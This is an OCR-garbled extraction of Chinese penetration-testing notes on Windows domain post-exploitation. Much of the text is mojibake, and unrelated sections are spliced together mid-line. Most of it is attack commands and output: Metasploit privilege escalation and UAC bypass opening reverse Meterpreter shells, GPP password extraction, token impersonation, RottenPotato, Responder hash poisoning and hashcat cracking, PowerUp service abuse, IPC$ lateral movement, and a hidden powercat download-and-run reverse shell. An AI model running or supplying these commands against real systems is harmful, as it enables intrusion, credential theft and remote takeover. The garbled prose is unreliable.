[service.go:192] frps tcp listen on 0.0.0.0:44442021/06/09 03:45:03 [I] [root.go:209] frps started successfully

Metasploit

£ MSF /1, 558 N2 L& AR

none

[common]# FRZ5Um IPserver_addr = vps_ip# RZ5Imim[server_port = 4444[rdpJtype = tcplocal_ip = 127.0.0.1local_port =
3389# *Fix vps MUH[Iremote_port = 3389

MSF G BR SN FREC B N H AR FAIEIRZ  exploit/windows/local/service_permissions

MAZEIT:
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none

> \frpc.exe -c frpc.ini2021/06/09 15:50:29 [I] [service.go:304] [72904e8037a7fdf8] login to server success, get
run id [72904e8037a7fdf8], server udp port [0]2021/06/09 15:50:29 [I] [proxy_manager.go:144] [72904e8037a7fdf8&]
proxy added: [rdp]2021/06/09 15:50:29 [I] [control.go:180] [72904e8037a7fdf8] [rdp] start proxy success

msf6 exploit( ) > run

[*] Started reverse TCP handler on 192.168.7.1:4444

[*] Trying to add a new service...

[*] Created service... JIQfAA

[*] Sending stage (175174 bytes) to 192.168.7.105

[+] Service should be started! Enjoy your new SYSTEM mete
[*] Meterpreter session 4 opened (192.168.7.1:4444 — 192.

meterpreter > getuid
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\/ \/ \/

erver username.

meterpreter > I

PINBRIZIEEEEIRTTE T SYSTEM R,

0. HIE

SYSVOL Zias) R ERN— TR T FREE ARSI AR Z R, EgRIpia i 2 B 1TEH,
SYSVOL B LT B RILaVs B P & SEER P A B EPIRIES B RIECEARE, B REIREFIE

C:\Windows\SYSVOL\DOMAIN\Policies\ B4,
EIBERAAEPIFE— D EERGE, 25SBE0E SYSVOL BEPAM—" XML XX,

SRR TZ BRI ENENERD, ZEIBER AES-256 &%, 18 2012 FMEAT 7 IZRIBIF AT, thilain
FRIAER R AN EHATRE R,

1. KBS cpassword B XML {4

AT SYSVOL 3k, FiEHEE cpassword Y XML ST
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A (C:) v_W_indows w SYSVOL » domain ¥ Policies w {Fgr!',\ m m _.183546} = User v Preferénces v Gr«
v FEHE
275 - EZEE: | 2em | 2

XML 3C#%

0} \User\Preferences\Group —

/2 C:\Windows\SYSVOL\domain\Policies\ {F92107F
( _/)7 Ig C:\Windows\SYSVOL‘\domain\Policies\ {F
Lo R | @) eRnEny @) @aniEE Y

@ C:\Windows\SYSVOLAdomain)\. . . l |
@ A TEFTFRIPEZLME, Internet Explorer BRI TZITO LIFRHBEVBIEA ActiveX B HEREGXEFREUE

e

3540} \User\Preferences\GroupsEl

]
L

<?xml.version="1.0" encoding="utf-8" ?>
- <Groups clsid="{31 ENEINIENEEE E'E N EEE SD24D26}">

- <User clsid="{DF® -nl r WESBA1D1}" name='/ M@ ‘image="0
uid="{397111FUMNL Bipsin Nu m meog. BEE N3}
<Properties action="C" full[Name="LocalADM" description="LocalADM"
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cpassword="Wdke™ H_N [l e B e . Y0" changeLogon="(
acctDisabled="0" userName=' ¥ ® ®' />
</User>
- <User clsid="{DF"# " W= ST CEEE ESE98BA1D1}" name="klion" image="0"
uid="{6ODDALCY __Wm T _ LW __BE_DErioDp5}">
<Properties action="C" fullName="Demo User" description="Demo User"
cpassword="jh("H W [ 5 ENy ‘5 FE eaaey o imimmw_E)k" changeLogon="0"
acctDisabled="0" userName="18 " />
</User>

S EER findstr BeiEZRBE cpassword Y XML X4
none

[common]bind_port = 4444# ZEimIAE tokentoken = 123456# £& frps (NERAZIHO. IKSHMES, LEPBUSRLNA, BUREE—
EE R E@Ziddashboard_port = 8000dashboard_user = admindashboard_pwd = password

C:\Windows\SYSUOL>findstr /s /1 “cpassword” C:\Windows\SYSUOL\x.xml
C:\Windows\SYSUOL\domain\Policies\{F
12 26)

208 _mr | : abm. . m-E8

ADM’| cpassword="WdkeuldrbxqPJm7YAtPt
serName:=

2. fR% cpassword X

python BiZx

Prnrafdonnmt v TR ESHR R -
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UMM TIUTUL Y LY UL

https://raw.githubusercontent.com/leonteale/pentestpackage/master/Gpprefdecrypt.py

none

frps -c frps.ini

[$]>

Pwd12345

PowerShell fiiZs

PowerSploit INE T Get—-GPPPassword.pst HlZs,

AT EHbE:  https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get—
GPPPassword.ps]

Efontz NEMARAT:

none

./frps -c frps.ini2021/06/09 04:06:34 [I] [root.go:200] frps uses config file: frps.ini2021/06/09 04:06:35 [I] [s
ervice.go:1927 frps tcp listen on 0.0.0.0:44442021/06/09 04:06:35 [I] [service.go:294] Dashboard listen on 0.0.0.

0:80002021/06/09 04:06:35 [I] [root.go:209] frps started successfully

WRIE NE A DUEA github U
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none

[common]
vps_ip
4444

# ZPIHIANE token, ZSZEFIRSIF token (RIF—H
= 123456

# BAME, BhlbnEREE
= true
# BRE%E, EARERARE

= true

[socks5]
= tcp
# &8 vps B9IRLC
= 1080
= socks5

C:\>PowerShell.exe -Exec Bypass -C "IEX(New-Object Net.WebClient).DownloadString( 'https://ghproxy.com/https://raw.githubuserc
ontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1’);Get-GPPPassword™
WARNING: [Get-GPPInnerField] Error parsing file '' : Cannot bind argument to parameter 'Path’ because it is null.

[BLANK ]

: Pwd12345

: 2020-02-23 12:55:13

: \\TEAMSSIX.COM\SYSUOL\teamssix.com\Policies\{
s.xml

: Groups

: WdkeuldrbxgPJm7YAtPtwBtyzcq088hJUBDD2eseoYO

340)}\User\Preferences\Groups\Group

[BLANK]
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: 2020-02-23 12:55:49
: \\TEAMSSIX.COM\SYSUOL\teamssix.com\Policies\{F! J\User\Preferences\Groups\Group

s.xml
: Groups
: JhO9kN+ccBX1jYUx5ZLA0zJTPrCUSR8rAJK T4 TqzERK

& NEEIAM, HAThiT

none

frpc -c frpc.ini

1R PowerShell HFAEZREINUNE T TESAMAE, sIMERNU ML 5T,

none

> .\frpc.exe -c frpc.ini

2021/06/09 16:11:21 [I] [service.go:304] [ee7ad330ab4e6036] login to server success, get run id [ee7ad330ab4e603
6], server udp port [0]

2021/06/09 16:11:21 [I] [proxy_manager.go:144] [ee7ad330ab4e6036] proxy added: [socks5]

2021/06/09 16:11:21 [I] [control.go:180] [ee7ad330ab4e6036] [socks5] start proxy success

MSF

£ post/windows/gather/credentials/gpp &Rt A] L

none

—72vvuf Tiniv AamdGA carmiarn +arn A7 /nnc inct+all
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(V1] onvi LLITUA_MINIUUT_OCI VUI o LUl « Y& o/ HIPD LIIDLULL

msf6 exploit( ) > use post/windows/gather/credentials/gpp
msf6 post( ) > set session 1

session => 1

msf6 post( ) > run

[*] Checking for group policy history objects...
Error accessing C:\ProgramData\Microsoft\Group Policy\History :
[*] Checking for SYSVOL locally...
[+] SYSVOL Group Policy Files found locally
[*] Enumerating Domains on the Network...
[*] Retrieved Domain(s) TEAMSSIX from network
[*] Enumerating DCs for TEAMSSIX on the network...
[+] DC Found: DC
[*] Searching for Policy Share on DC...
Found Policy Share on DC
Searching for Group Policy XML Files...
Parsing file: C:\Windows\SYSVOL\sysvol\teamssix.com\PolicIes\{FQZlﬁ

TYPE Groups.xml
USERNAME
PASSWORD Pwd12345
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DOMAIN

CHANGED
NEVER_EXPIRES?
DISABLED

NAME

TYPE

USERNAME

PASSWORD

DOMAIN CONTROLLER
DOMAIN

CHANGED
NEVER_EXPIRES?
DISABLED

DA ] 27 5] B0 & 4 | TeamsSix

teamssix.com
2020-02-23 12:55:13
1

0

T~

Groups.xml

Abc12345

SYSVOL

teamssix.com
2020-02-23 12:55:49
1

0

T
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T, RESERRISEFET AT, BRIERRENE.

1. MSF

E3RENE] Meterpreter Shell /7, RN aSIRENS S

none

nps start

meterpreter > load 1ncognito

Loading extension incognito...Success.

meterpreter > list_tokens -u

[-] Warning: Not currently running as SYSTEM,
Call rev2self if primary process

Delegation Tokens Available

METASPLOITABLE3\vagrant
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
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No tokens available

meterpreter > getuid

Server username: METASPLOITABLE3\vagrant
meterpreter > I

XEBFEMMHSHE, — & Delegation Tokens BI#RINSRE, WA —FE Impersonation Tokens BIEINSHE, BIE 15
RENERLUnERE, EEIFIERENSE,

LhESRERRVELE BUR T3RENE! Shell BIMXBREZR
MRBLIREE] T SYSTEM SRS, BIAKEE AT ANEX TSR, 1B XN AR,

none

$PEBytes = [System.IO.File]::ReadAll1Bytes("fscan.exe")$Base64Payload = [System.Convert]::ToBase64String($PEBytes)
Set-Content fscan_base64.txt -Value $Base64Payload
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meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"

[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM

[+] Delegation token available

[+] Successfully impersonated user NT AUTHORITY\SYSTEM

meterpreter > shell

Process 1576 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
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W UOwW \/ - =

AIMERBEIEEEINE SYSTEM MSEZEE] SYSTEM R T .

AIEFEENZ, WRAMNKEIS, \ FEEAAL \\ 17, DTABNARIEREN \ HEHEE X FRMENRE,

meterpreter > impersonate_token METASPLOITABLE3\vagrant
[-] User token METASPLOITABLE3vagrant not found
meterpreter > impersonate_token METASPLOITABLE3\\vagrant

[+] Delegation token available
[+] Successfully impersonated user METASPLOITABLE3\vagrant

2. Rotten Potato Zsithig24X

Rotten Potato ¥ RHMELZNER, WRBEPEEBRNSH, e @id Rotten Potato BRI~ < hRSLI
AL,

Rotten Potato TmB#uiE:  https://github.com/breenmachine/RottenPotatoNG
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=47 RottenPotato.exe B8 SYSTEM AFREY CMD &, NEERZR MSF,

:\Users\vagrant\Desktop>RottenPotato.exe
—> bytes received: 116
-> hytes Sent: 116
—> hytes received: 84
—> hytes sent: 84
—> bhytes received: 24
-2 hytes Sent: 24
—> bytes received:
—> bytes sent: 160
-2 bytes received:
—2> bytes Sent: 144
—> bhytes received:
—> hytes sent: 386
—> hytes received:
—> bytes Sent: 158
—> bhytes »eceived: 56
—> bhytes sent: 56
unning C:\Windows\System32\cmd.exe with args
: A

" Windows'\ System32'cmd.exe

Microsoft Windows [Uersion 6.1.76011
Copyright <(c? 2009 Microsoft Corporation. All »ights reserved.

C:\Windows\system32>vhoani
nt authority\system

C:\Windows\system32>

: 8
Last error: @

:\Users\wagrant\Desktop>

0. HIE
MBOEHNBFNE, BRI, FOUEM LLMNR 7 NetBIOS HIEEIE I EFRHT T I &4 FHIAR

STHU
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I/NHA o

1. BEREE

LLMNR

AR SRR (LLMNR) E2—MERAFLEUERRI, SREMNPEI DNS RSS55AIMEE, DNS ERmM e
/A LLMNR STt ExpAl2siu= i, B2 DNS RS2 MmE EE AL,

M Windows Vista FFIAZ#F LLMNR , Linux RZtEIT systemd SLHL 7MY, B LLMNR 123755 IPv6,

NetBIOS

NetBIOS MiZH IBM A8k, TE2RTESTENN/NEFEM, 1RIE NetBIOS thik[ #EREITEAN 2R,
TG EARAT RN AT 1P bk,

M Windows NT DASGRABIFTB IRIERAR R FE AT LAMER NetBIOS, J NetBIOS 3745 IPV6.

NetBIOS H2 A =PRSS

$Base64Bytes = Get-Content ("fscan_base64.txt")$PEBytes= [System.Convert]::FromBase64String($Base64Bytes)[System.
I0.File]::WriteAllBytes("fscan_base64.exe",$PEBytes)

Net—-NTLM Hash

NTLM BI NT LAN Manager, NTLM 52#8 telnet (9—FMIIESH A0, BIE® / MBI, & Windows NT B
HARR AR E L 2N
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Net—-NTLM Hash A[EF NTLM Hash, NTLM Hash £ Windows &#24389 Hash {&, BJLAZE Windows & 4585 SAM

AFEE TR NTDS. dit SXEAFIZEREI SR, NTLM Hash X HmE3B K&,

Net—=NTLM Hash ZMEIME S NTLM TAIUERY Hash, 18/ Responder #MEXEIEE R Z Net-NTLM Hash, 1% Hash A~
HITWRHEE, (EAT NTLM PR THSE(FR Hashcat & T BEAE HBSOA TG,

2. FH

Responder &—3r{# M8 Python %85 BF &5 LLMNR 1 NBT-NS FRKH— TH,

RIZFIEERZE] Windows Active Directory &, HME LAI1REZ=1A LLMNR Al NBT-NS (NetBIOS & FRAR
%5) BT B ESET, Responder S 1hZEAl Bint/l23

S EENRENEMEEENEE, Responder #ie] DRV EE 29 Net-NTLM IBH1E,
Responder I Bt  https://github.com/Igandx/Responder

Responder ~A37 15 Windows, XE{EMA Kali #1158,

Responder 20T, - FEEMF, XE ethl B9 IP 5y 192.168.7.65

none

CertUtil -encode fscan.exe fscan_base64.txt

FR%EE, S8MEN LB AR Responder ENWHEZB RN, MESBEIN AR Net-NTLM IBHE T,
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Fingerprint hosts '

Generic Options: @"Q A \92.168.7.6|
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Responder NIC [ethl]
Responder IP [192.168.7.65] EREt
Challenge set [random]

Don't Respond To Names ['ISATAP']

OneDrive
Current Session Variables:

Responder Machine Name [WIN-5QMRGLLYSJK] T
Responder Domain Name [5B1W.LOCAL] I=1i5)

Responder DCE-RPC Port [48041] SOAENE
b

[+] Listening for events...

[*] [NBT-NS] Poisoned answer sent to 192.168.7.107 for jname DC (service:

[SMB] NTLMv2-SSP Client : 19 0
[SMB] NTLMv2-SSP Username : el & DANIEL10
[SMB] NTLMv2-SSP Hash : daniel7:: MSS 5f 0 DG
000000000000000000200000BC 2 N-WEBSRV
Skipping previously captured hash for TEAMSSIX\daniel7
Skipping previously captured hash for TEAMSSIX\daniel7
Skipping previously captured hash for TEAMSSIX\daniel7
Skipping previously captured hash for TEAMSSIX\daniel7
Skipping previously captured hash for TEAMSSIX\daniel7

HHRELIER

« @z (1)
FltgeR (C)

w7 1236 TREC L 159 GE
« HUBHEERNRE (1)

=9
} @ DVD 3K=gs (D:)

BRSSO ANEE

FIFHEHIER

Windows &%

TN )
MAEREESEES) 1921687.65

B

=55

15 TEAMSSIX
ICERAIER

© sEipia

https://teamssix.com/211027-163641.html

129/273



2021/10/27 F/6:42 DREBUHE] 402 51 590 24 | TeamsSix
B A Hashcat #1712

none

CertUtil -decode fscan_base64.txt fscan_base64.exe

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 68 MB

Dictionary cache built:
* Filename..: ,
Passwords.: 110
11213
Keyspace..: 110
Runtime...: @ secs

*
*
*
*

]
The wordlist or mask that you are using is too small.

This means that h at cannot use r of your d

your ¢

proaching final k

"

DANIEL7::TEAMSSIX: f20bab6ad85f1a32:36c0cc5ac83856521162039a5079e5dd: 01010000000000008038d2484784d7013012d614a29d0b90000000002000800350042003100570001001€00570049004€002d00350051004d00522047004C004c005900530042004b000400)
0047004c004c005900530042004b002e00350042003100570022004c004100430041004c000300140035004200310057002e004C00400430041004c000500140035004200310057002e004c00400430041004c00070008008038d2484784d70126000400020000000800300030)
dab4a9a9h9843069d55b28892ec92a4232919062a54f c8e86d8a126003580a001000000000000000000000000000000000000900220063006900660073002f003100390032002e003100360038002€0037002e0036003500000000000000000000000000 : d 5

: hashcat
: Cracked
Hash.Name. .. : NetNTLMv2
Hash.Target. : DANIEL7::TEAMSSIX: f20bab6ad85f1a32:36c0cc5ac8385652. .. 000000
Time.Started : Thu Jul 29 19:06:49 2021 (@ secs)
Time.Estimated...: Thu Jul 29 19:06:49 2021 (@ secs)
Guess.Base.......: File (, Ltxt)
Guess.Queue : 1/1 (100.00%)
Speed.#1.... : 277.1 kH/s (0.18ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered... : 1/1 (100.00%) Digests
Progress.... 110/110 (100.00%)
Rejected.... 1 0/110 (0.00%)
Restore.Point....: 0/110 (0.00%)
Restore.Sub.#1 Salt:0@ Amplifier:0-1 Iteration:0-1
Candidates.#1 : 123456789 —> !QAZ2wsx
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Started: Thu Jul 29 19:06:45 2021

Stopped: Thu Jul 29 19:06:50 2021

0. HIE
TS ERBOTES, BFMAR, BERAGITNAREETN, XEFIT PC RIS E5EEIHIES0A
%A

1. IPC

dln
2l
i

IPC (Internet Process Connection) 28 7 EIAREEBEMANNGREE, JAEIMARE T IPCS XMHEHZ=FHE

FIkS®EB/E, #elER IPC #Bi5ERE, KREWR,

FBI7 IPC &

none
C:\Users\teamssix> systeminfo...ABT%, WLBE.EINER: 28T 2 MEWER. [01]: KB2999226 [02]:

I net use BAIAE B HEIEIIANIER

none

wmic gfe get Caption,Description,HotfixID,InstalledOn
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DR BT £ B A3

none

C:\Users\teamssix>wmic gqfe get Caption,Description,HotfixID,InstalledOnCaption
Description HotFixID  InstalledOnhttp://support.microsoft.com/?kbid=2999226 Update KB2999226 11/26/2020
http://support.microsoft.com/?kbid=976902 Update KB976902 11/21/2010

A0SR S MIBRARETAOIE S
dir )X 5 B &

none

Import-Module .\Sherlock.psl

none

Find-ALLVulns  EZPIEARZER4NTFind-MS16032 ERENTFE

tasklist @& HE

none

msf6 exploit(multi/handler) > use post/windows/gather/enum_patchesmsf6 post(windows/gather/enum_patches) > set se
ssion lsession => 1msf6 post(windows/gather/enum_patches) > run[+] KB2999226 installed on 11/26/2020[+] KB976902
installed on 11/21/2010[*] Post module execution completed
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none

msf6 post(windows/gather/enum_patches) > sessions 1[*] Starting interaction with 1...meterpreter > execute -if "w

hoami /groups"Process 3048 created.Channel 6 created.HE8----------------- HZ

##y  SID et

Everyone Ba4A S-1-1-0 WERE, BRTINA, BARYZEBUILTIN\AdAministrators

pl&  S-1-5-32-544 RAF1E4RIZHBUILTIN\Users pl&  S-1-5-32-545 WFEWHE, BRATIA, BADN
ZENT AUTHORITY\NINTERACTIVE 2HAE S-1-5-4 WEBHIE, BRETIA, BRMNARTIEE:S

BA S-1-2-1 DENE, ERTENA, BEFIAZENT AUTHORITY\Authenticated Users 2anA S-1-5-11 WEHE, B
FAF20A, EFIRYZANT AUTHORITY\This Organization B2a4A S-1-5-15 NEEROH, BRTENA, BAMNELOCAL

E04H S-1-2-0 DNEBHIE, BTN, BFAMZEANT AUTHORITYANTLM Authentication BEAA S-1-5-64-10 MFENAHE, =B

FAT20A, EMAfZEMandatory Label\Medium Mandatory Level 5%  S-1-16-8192 QWFEME, BATENA, BHEOE

R \del PIlTH =R

none

meterpreter > background[*] Backgrounding session 1...msf6 post(windows/gather/enum_patches) > use post/multi/rec
on/local_exploit_suggestermsf6o post(multi/recon/local_exploit_suggester) > set session lsession => Imsf6 post(mul
ti/recon/local_exploit_suggester) > run[*] 172.16.214.4 - Collecting local exploits for x86/windows...[*] 172.16.

214.4 - 38 exploit checks are being tried...[+] 172.16.214.4 - exploit/windows/local/bypassuac_eventvwr: The targ
et appears to be vulnerable.[*] Post module execution completed

2, ITRIESS

Windows PTRETFRIZEITRIESHGSEM, D RlE at f schtasks, at £ Windows Server 2008 & 27 @R %,
EAWERT .,

X EEATIE ST DM M4 — AR RIUT Z X/ =THh 4=~ A+ —— B L= ERAN TR -
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AEEAEITEN TV Ei/m, XV XUTEZT A ) FOIN S XA, IS 2=V PRAH [T

1. EFEMmENAE

2. EEAHAT AR BAREN

8. REMHESHATRIATX

4. BRI RIESS

B5EE NERENAE

none

msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/bypassuac_eventvwr
[*] Using configured payload windows/meterpreter/reverse_tcp

msf6 exploit(windows/local/bypassuac_eventvwr) > set session 1

session => 1

msf6 exploit(windows/local/bypassuac_eventvwr) > run

[*] Started reverse TCP handler on 10.101.22.38:4444

[*] UAC is Enabled, checking level...

[+] Part of Administrators group! Continuing...

[+] UAC is set to Default

[+] BypassUAC can bypass this setting, continuing...

[*] Configuring payload and stager registry keys ...

[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe

[+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.
[*] Sending stage (175174 bytes) to 172.16.214.4

[*] Meterpreter session 2 opened (10.101.22.38:4444 -> 172.16.214.4:49160) at 2021-07-06 15:38:08 +0800
[*] Cleaning up registry keys ...
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meterpreter > execute -if "whoami /groups"
Process 3048 created.
Channel 1 created.

AIER

B %A SID Bt

Everyone B414H S-1-1-0 WENAH, BERATFEAN, BREMNA
BUILTIN\Administrators & S-1-5-32-544 )ER9E, BEHRTEIN, BEENA, HArmesE
BUILTIN\Users bl = S-1-5-32-545 /FHERAE, BHRETERIA, BANA
NT AUTHORITY\INTERACTIVE 2a4E S-1-5-4 WENAH, BATFENAN, BRMNA
THaEsS BAI4E S-1-2-1 WEBHIAE, BRETIIA, BEMNAE
NT AUTHORITY\Authenticated Users 2H4E S-1-5-11 WERE, BETEA, BERNA
NT AUTHORITY\This Organization EH4H S-1-5-15 WENAE, BRTHIA, BRNAE
LOCAL DHA S-1-2-0 WENE, BRETIIA, BRANAE
NT AUTHORITY\NTLM Authentication B8 S-1-5-64-10 W»HEAH, BRTEIA, BHNE

Mandatory Label\High Mandatory Level #r%  S-1-16-12288 w&HHAH, BETHIA, BEANAE

none

git clone https://github.com/bitsadmin/wesng.git
cd wesng
python wes.py --update

BlE— PR E bat 12%, XE{FH PowerShell #1T/~358, bat YHRBU T

none
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systeminfo > info.txt

AN LTS ne mifr

1 bat 725 LERIBIREA

none

python wes.py info.txt

£ at BIZITLIESS

none

Import-Module .\PowerUp.pslInvoke-AllChecks

ANREBRR 1D 9 1 ROITRIIESS

none

powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.psl;Invoke-AllChecks}"

{£F3 schtasks BIZITRIES

none

PS C:\Users\teamssix\Desktop> powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.psl;Invoke-AllCheck
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IEMWEIWH?T%QA%VMMﬁm

s}"[*] Running Invoke- A11Checks[*] Checking if user is in a local group with administrative pr1v11eges .[+] User
is in a local group that grants administrative privileges![+] Run a BypassUAC attack to elevate privileges to adm
in.[*] Checking for unquoted service paths...[*] Checking service executable and argument permissions...ServiceNa

me : MongoDBPath : C:\Web\mongodb\bin\mongod.exe --auth --config C:\Web\mongodb\mongod.conf --s
erviceModifiableFile : C:\Web\mongodb\mongod.confStartName : LocalSystemAbuseFunction : Install-ServiceBina

ry -ServiceName 'MongoDB'

ANRIEBEREZIRN evil BOITEIES

none

powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.psl;Invoke-AllChecks | Qut-File -Encoding ASCII r
esult.txt}"

323 IPC &EEfE, RTERITESHITEIRN R Shell, A BUEE PsExec Bix/&5E Shell

PsExec TaEitthilt: https://download.sysinternals.com/files/PSTools.zip

none

powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.psl;Install-ServiceBinary -ServiceName 'MongoDB'
-UserName test -Password Passw@rd}"
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1377273


https://download.sysinternals.com/files/PSTools.zip

2021/10/27 F4-6:42

: E"
= At o

CopyTri "11T ijﬁ

--vv—1

) ,_lllTHI“Il als

[1crosoft ]1'!1111‘1”'1'*. [Hﬁ*f

RIFE (o)

\Windows\sys

https://teamssix.com/211027-163641.html

I Mic

stemIZrs
i l,t aunthori T"' ovste

¥ \=Fyeo

DA ] 27 5] B0 & 4 | TeamsSix

2 \\102. 168,

L]
I
i
| =

_:_:_I _.‘I |:|

1N0v1c h

=T T

. S ,_111TH1“11 11_. COI

1. 7601]

~rosoft Corporatione

whoam

FRA YA .

138/273



2021/10/27 F4-6:42

DA ] 27 5] B0 & 4 | TeamsSix

1. T8

Hashcat E—AABTHRMAEZENTE, BEREER LERESENEBBEBETE, X35 LM 5%, MD5, SHA FAR75

RSN AR, BRI Linux, Mac. Windows &,
T E#blit:  https://hashcat.net

IMEHLLE:  https://github.com/hashcat/hashcat

Mac

Mac FEFP E#FR brew Z2B0]

Linux

T Debain 89 Linux, EE80 Kali. Ubuntu A IABEIZ(EA apt #1740

SE NEEH EBIX i IT R

£ https://github.com/hashcat/hashcat/releases B TN BFIMEREE,

none

XEBL 6.2.4 fRIHB

PS C:\Users\teamssix\Desktop> powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.psl;Install-Service

Binary -ServiceName 'MongoDB' -UserName test -Password Passw@rd}"ServiceName

Command BackupPath-----------
—————————— MongoDB C:\Web\mongodb\bin\monagod. ..

https://teamssix.com/211027-16364 1 .html

net user test Passw@rd /ad...

ServicePath

C:\Web\monagod
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b\bin\mongod. ..

Windows

£ https://github.com/hashcat/hashcat/releases B NHEHMES R, RESPAEE hashcat.exe

3. f&H

BRZH:

none
PS C:\Users\teamssix\Desktop> net user testf/~# test2A.. . AEM A *Administrators
*Users®EPEMF *Noneas < A IN5EAL .

—a PRI

none

meterpreter > getuidServer username: TEAMSSIX\dev

-D IEEIRERE

none

use exploit/windows/local/service_permissions
set payload windows/meterpreter/reverse_tcp
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set lhost 192.168.7.1

set lport 4444

set session 1
run

—R(EAR -D 2 38E GPU K##

iR E:

none

findstr /s /i "cpassword” C:\Windows\SYSVOL\*.xml

iR E

none

python2.7 Gpprefdecrypt.py WdkeuldrbxgPJm7YAtPtwBtyzcq088hJUBDD2eseoY®

BE X RN -

none

PowerShell.exe -Exec Bypass -C "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/P
owerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.psl');Get-GPPPassword"

SRR 21, 72, 73, 74 RKER

S
D=
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/Lo T

—custom—charset! abcd ?1?217121?1 ZMF =1 abed 21212121721
—3 abcdef —4 123456 ?373737374°4?247?4 R8I R]gEE adbcdef, [FPUfR]gER 123456

B} Hash B5 1D AONBRETFAK, KBHAMT, FALEE hashcat -h HTEE
4. mfl
MD5

RSN 8 T

none

PowerShell.exe -Exec Bypass -C "IEX(New-Object Net.WebClient).DownloadString('https://ghproxy.com/https://raw.git
hubusercontent.com/PowerShel1lMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.psl');Get-GPPPassword"

TR 4 (NEFE + JF

none

Import-Module .\Get-GPPPassword.psl
Get-GPPPassword

BB 1-4 (IASFE + Y7
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none

powershell.exe -exec bypass -command "&{Import-Module .\Get-GPPPassword.psl;Get-GPPPassword}"

ST TEFIGE: 123456abcdfl@+— 4TI fR

none

use post/windows/gather/credentials/gpp

set session 1
run

BT ELIRE R R EH D FRIRBNERFR, EtHEREX—T

none

load incognitolist_tokens -u

NRAKIE BEAREASROMALIE N, PIAER(EHA %a RRERME FRIHITIRAR

none

impersonate_token "NT AUTHORITY\SYSTEM"

(ERE e
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none

i. NetBIOS-NS (S7R%5) : TERTSANEMAMRN, URHRENSLIER, ZRSENLI UDP 137 10, hAILUEM TCP 49 137 10
MU

ii. Datagram Distribution Service (RIS AMRS) @ TEERS, ZRBSATHTEIRQNFIME, 2RAKYT UDP 138 iH0l.

ii. Session Service (R1ERSS) @ AFmAITTENELERE, TMER TCP 139 i,

ERFHEA SRR

none

python Responder.py -I ethl

FHASH R

none

hashcat -m 5600 hash.txt password.txt -D 1

20NN, XERNFEA SRR, T\%%eﬂ%ﬁﬁhﬁ FHIASTEAEZELN 1 TFHEBTERE, MEBRFE 1N
BILFHE 2 WABHEHSH—TFH, HIa0:

pwdl.txt FELA

pwd2.txt FFHE

e/ Im AN e 1] e AL N N T
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ASAH T E N F R E X AERY -

none

net use \\192.168.7.107\ipc$ "1qaz@WSX" /user:administrator

B+ @A, WEN LE—HNESHE, o pwd2.txt 3R T RS

none

C:\>net use \\192.168.7.107\ipc$ "1qaz@WSX" /user:administrator#s<mINTem. C:\>net useSICFEITHNIMEER:, IS

PN IR P = = = === e
——————— 0K \\192.168.7.107\1ipc$ Microsoft Windows Networkdn< piINSEAY .
Mysql4.1/5

none

net use t: \\192.168.7.107\c$

A LAMEA select authentication_string from mysqgl.user; & HBIEUEE P NRBIEHE,

sha512crypt $6$, SHA512 (Unix)

shabl2crypt $63$, SHAS12 (Unix) B&fE, 17 BERARGIRIRAIFHHRFRF, XENGRHEMN T R51S
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none

net use t: /del

BT cat /etc/shadow KBNS E1E

SERRE, R, BEiEER —username 24
none

dir \\192.168.7.107\c$

NTLM

NT Hash

none

C:\>dir \\192.168.7.107\c$ zhzf \\192.168.7.107\c$ +F19E5Er%E, BHFIISE BC2F-8FO1 \\192.168.7.107\c$ HIE %20

20/11/24 17:28 <DIR> Program Files2020/11/24 17:26 <DIR> Program Files (x86)2021/02/13
17:49 <DIR> TEMP2021/08/02 11:42 <DIR> Users2020/11/25 08:37 <DIR> Windows
0 0 =1 5 MEx* 32,833,009,004 AT

LM Hash

none
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tasklist /S 192.168.7.107 /U administrator /P 1qaz@WSX

NetNTLM Hash

none
C:\>tasklist /S 192.168.7.107 /U administrator /P 1qaz@WSX%Z R PID &1&# =
15# ISEEZFE System Idle Process
0 0 24 KSystem 4 0
368 Ksmss.exe 260 0 628 Kcsrss.exe 3
56 (7] 2,360 Kwininit.exe 408 (7]
264 Kcsrss.exe 420 1 8,692 Kwinlogon.exe 4
68 1 2,012 Kservices.exe 512 (]
7,460 Klsass.exe 520 (] 10,216 Klsm.exe
528 0 4,148 Kspoolsv.exe 1356 0
6,504 Ksvchost.exe 1392 0 7,028 K

MSSQL (2005)

none

net use \\192.168.7.107\1ipc$ /del

WordPress Z8 hash

none
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net time \\192.168.7.107

ERINBHIZATE ./wp—includes/class—phpass.php HJ HashPassword BRI

Discuz FIF %315 hash

none

C:\>net time \\192.168.7.107\\192.168.7.107 HIHFEIRIEIE 2021/8/2 14:28:01a&<HINTTM.

HZBREEINZ 5T mdb(md5($pass).$salt)

RAR [E48%345
BFtIREN rar XY hash 1B, AT MERS—FIEHEHAE T E John I2#89 rar2john TR rar AR hash 12
AR,

rar2john NERHBIE:  hitp://openwall.info/wiki/_media/john/johntheripper—v1.8.0.12—jumbo-1-bleeding—e6214ceab—
2018-02-07-win—x64.7/z

none

powershell.exe -nop -w hidden -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghpr
oxy.com/raw.githubusercontent.com/besimorhino/powercat/master/powercat.psl’');powercat -c 192.168.7.4 -p 4444 -e c
mdll

https://teamssix.com/211027-16364 1 .html
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hashcat 45 RAR3-hp 1 RARS
X+ RARS, RGN :

none

nc -lvp 4444

